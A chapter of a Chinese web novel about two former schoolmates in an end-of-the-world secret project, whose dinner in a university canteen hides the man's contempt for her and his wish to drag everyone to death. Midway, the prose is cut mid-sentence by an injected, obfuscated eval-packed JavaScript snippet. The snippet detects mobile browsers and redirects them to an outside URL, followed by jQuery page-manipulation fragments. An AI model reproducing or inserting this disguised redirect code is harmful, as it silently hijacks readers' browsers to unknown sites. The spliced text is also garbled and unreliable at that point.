控制中心的穹顶下，星河宇宙模型悬于半空，细碎的光粒在金属支架上流动。旁边的倒计时屏亮得刺眼，鲜红数字跳动着——距离GJ 504b抵达地球，还剩1277天。
下班时分，科学家们往来穿梭，脚步声在空旷的大厅里撞出急促的回响。每个人脸上都凝着一层霜，眉头拧成结。
这里像一艘悬浮在末日边缘的诺亚方舟，装满了逃亡的计划与沉重的推演，连空气里都飘着“危机”二字。
在这里，不适合谈情说爱。
但在这种环境中，她反而没有什么顾忌了。
世界都要变成废墟了，想说就说，谁知道这会不会是他们最后一次见面呢？
杭渝惯常低头，同徐望宇说话时却是抬着头。那双平静如镜的眼睛，倒映着徐望宇的脸，就好像天地广大，她只看得到他一般。
徐望宇直视着这个陌生女人的灼灼目光，像是被烫伤了一般，侧过脸同她说话：“你刚才说的话，比''未来计划''还让我震惊。我这几天开始怀疑这个世界的真实性了，我们以前认识吗？”他的笑容颇带几分自我嘲解。
那些生命中的过客，人们能记住几个呢？即使是同班同学，经年以后，拿出照片，能第一时间叫出名字的不过寥寥。
更何况，他们从未坐在一个教室中上课，他记不住她也是正常，她没抱希望，但还是不可控地产生了失落感。
实际上，在得知自己被杭渝指定之后，徐望宇就找人调查了她。很可惜，与她有关的资料就像是凭空消失了一般，查不到任何信息。
他随即反应过来，“未来计划”是保密级别最高的，他们这些被卷入其中的人，都得保守秘密，否则死路一条。
他那同父异母的哥哥，费尽心机才爬到了如今的位置，竟然连半点风声都没收到。
这般可笑滑稽，让徐望宇对哥哥的恨意都少了几分。
也挺好，不用费心一个个去杀他恨的人。很快，他就有机会，拉所有人一起死。
杭渝看着他低垂着的眼睑，突然想数数他有几根睫毛，又长又翘，他连长相都很符合她的审美。
看着他，她自己倒有些脸红，好像成了什么登徒浪子，“你救过我两次。你不记得没关系，但你对我来说，是最重要的人。”
直白又大胆的表白。徐望宇很难想象，他会成为一个陌生人心中最重要的人，继而脱口而出:“我们在哪儿见过？”
“新区二中，我在领军B班，你在领军A班。A大，我在人文学院，你在金融学院。”
原来曾经同校，徐望宇心想:回去之后，要问问还在联系的高中同学。
那天傍晚，徐望宇邀请杭渝一起吃饭。离开了末日氛围浓厚的环境，又步入人间。
在他面前，她有些局促，没了方才的一腔孤勇。
本想坐在后座，又想起了不知在哪里看来的情商小建议:不要坐同辈的汽车后座，这样显得不尊重对方，对方不是你的司机。
她很少坐汽车，大部分时间舍不得打车，对车的品牌更是一窍不通。上了徐望宇的宾利慕尚后，她极不自然地寻找安全带。
徐望宇似乎看出来了些什么，他转过身来，左手绕过她的腰，右手拿着安全带卡扣，他的身影此刻覆盖在她身上。
杭渝闻到他身上若有若无的香水味，像小时候用的中华铅笔的味道。
“咔哒”一声，如梦初醒，她刚才有种被他拥抱的错觉。
“你用的什么香水呀？”她有意打破此时的寂静。
“Le Labo33，熏到你了吗？他说话的语调平缓，又带着几分关切。
“没有，这个味道很熟悉，像中华铅笔。”
“中华铅笔?”
“就是小学用过的铅笔”，5毛一支。
“铅笔的味道?可能我平时没注意到。”
“可能你用的是自动铅笔，香水挺好闻的。”她上小学的时候，自动铅笔就已经很流行了。
可杭建勇不肯给她买。
5毛一支的中华铅笔，没有卷笔刀，她就拿菜刀削笔。一直用到右手握不住为止。
每次削铅笔，总会闻到一股木头与碳条的味道，杭渝闻着很安心，有一种温暖的感觉。
多年以后，她去南京，知道了一种叫雪松的植物，可以用来做香水原料，味道和铅笔很像。
她很快意识到:她和徐望宇之间没有什么共同话题。杭渝的生活是被兼职、学业、贫穷填满的，她没出过国、没坐过飞机，不会买香水，没吃过西餐，连星巴克也没喝过。
她突然有些慌张，如果徐望宇是要带她去吃西餐，是左刀右叉还是左叉右刀？跟服务员说牛排几分熟才不会被嘲笑？
随即又觉得这是自我意识过剩，没有人会注意她。
她以前从来不思考这些问题，尤其是卷入“未来计划”之后，这个世界都会灰飞烟灭，除了生死，其他都是细枝末节的小事，不值得计较。
但不知怎的，她在徐望宇面前，总想到一些微末的事。她在心里默念：勇敢点吧，反正地球都会被毁灭。
徐望宇还有不少事情想问她，“你等会儿想吃什么？到饭点了，我们边吃边聊”。
“我想去A大食堂吃。“这是她熟悉的地方，不会在他面前出丑。
她退学后就没有回过A大。食堂那些物美价廉的饭菜曾给了她安慰。也不知是舍不得这里的饭菜，还是舍不下寒窗苦读数年后的静读生活。
徐望宇在食堂吃饭的次数不多，故而笑言:“好啊，等会儿你推荐好吃的。”
杭渝点了点头，笑道:“没问题，澜园的酸菜鱼，紫荆园的海南鸡饭、麻辣烫，桃李的芋泥和肘子，还有很多好吃的，我们今天吃个够。”
拿到兼职薪资时，她会点一份38元的酸菜鱼，那时候觉得足够奢侈了。
现在“未来计划”给她的薪资，足够让她过上宽裕的生活，可她是个物欲很低的人，倒不知道该怎么花这笔卖命钱。就像小时候，杭建勇说她一条贱命，好养活，山猪吃不来细糠。
杭渝瞥了一眼车窗外的天空。浅金与灰蓝色彼此纠缠，远方山峦起伏将苍穹截断。深秋季节雾气蒙蒙，水汽掺和在阳光的微粒中，视线变得隐隐绰绰，看得并不真切，徐望宇好像出现在她的梦中。
到了A大之后，杭渝带着徐望宇占好了位置，穿梭在各大窗口，她那天很兴奋，把以往想吃，却舍不得买的菜都拿了一份。
两个人面前摆了5菜一汤，徐望宇西装革履，与周围的大学生显得分外不同。
偶尔有几道好奇的眼光打量，他浑不在意，夹了一筷子酸菜鱼，其实味道平常，比他爱吃的私房菜馆逊色许多。
杭渝倒吃得很开心，米饭拌着鱼汤，吃几口便偷偷看他一眼，像是确
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360723|183662||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
认他是否吃得下去。
徐望宇很体贴的起了话头，聊起了A大的一些往事，一来一回，俩人之间的距离似乎拉近了一些。
他问她，“你在A大时，有加入社团吗？“杭渝想起的却是社团招新时，她徘徊在航模社，想看看徐望宇会不会出现，但那天他没来。
杭渝其实是加入了社团的，“民乐社，当时学了琵琶,不过没有坚持下去”，她那天没看到徐望宇，本来准备离开，可遇到一个学长发民乐社的传单，邀请她加入。
杭渝推说自己不会任何乐器，那人却说民乐社可以免费培训新人，她便答应了。
其实她很羡慕那些有乐器特长的同学，以往新区二中的艺术节，她都安静地做个观众，看着聚光灯打在那些耀眼的人身上。
她很小就明白，乐器特长是要用金钱堆起来的，而她没钱。
她学得很快，从琵琶指法开始，纵起、揉弦、推覆……，从《茉莉花》到《十面埋伏》。
后来，学校有晚会，学长学姐让她勤加练习，说不定能去合奏。
她却觉得是时候放弃了，助学贷款要还，还要兼职攒钱读研。她没时间发展兴趣爱好。
放弃琵琶的那天，杭渝从社团出来，门口的迎春花在风中招展，春风很温柔，天空是鸭蛋壳的颜色。
她很平静，只是安慰自己说：将来再学吧。民乐得每天练习，挤占兼职时间，她暂时只为稻粱谋。
徐望宇客套地说了句：“有点遗憾，如果学下去，说不定能在毕业晚会上看到你。”
杭渝自然知道，即便自己能能去伴奏，徐望宇也不会看到她。
杭渝沉默了片刻，然后问他：“我记得高中的时候，你航模很厉害，大学为什么没有加入航模队呢？”
徐望宇拿筷子的手顿了顿，个中缘由，他不愿说自己的隐私，“在家里公司实习，没有什么时间玩航模了。”其实那时徐父新丧，他也差点被哥哥扫地出门。
杭渝点了点头，“是啊，越来越觉得时间不够用。”原来他也会有不能兼顾的事。
“未来计划”相关，能说的部分，负责人跟徐望宇提过了，“她们训练压力很大，容易精神崩溃，你们的存在就是要提供情绪价值。”
如若不是为了防止她们在高强度、血腥暴力的模拟训练中抑郁，徐望宇可能不会知道这些机密。
徐望宇觉得可笑，这些人都该死，他为什么要给陌生人提供情绪价值?就因为这个人莫名其妙要救自己?
但他面上仍然保持着风度，饭吃到一半，他才问杭渝，“你之前说我曾救了两次，究竟是怎么回事?”
杭渝看着他，眼明心亮，一时千言万语涌上心头，她把那些过往一一讲给他听。
声音很轻，像是从她粗糙的荆棘丛生的生活中，挤出来的温柔。
徐望宇安静地听她讲完，他垂着眼，指尖无意识摩挲着袖口褶皱，连唇角那点笑意都像浸了冷雾，黏腻得化不开。
他露出怜悯的表情，心里却漫开凉丝丝的快意：真可怜，幸好有我照亮她垃圾一样的人生，为我死不是天经地义？她这条命能拖更多人陪葬，倒算是废物利用。
这世上还有比看着一群人一起烂掉，更让人舒服的事吗？
紫荆园外，暗沉的鸦青色天幕上，挂着一轮孤月，薄雾烟霏，夜晚有微风，树叶发出沙沙的声音，恰如多年以前。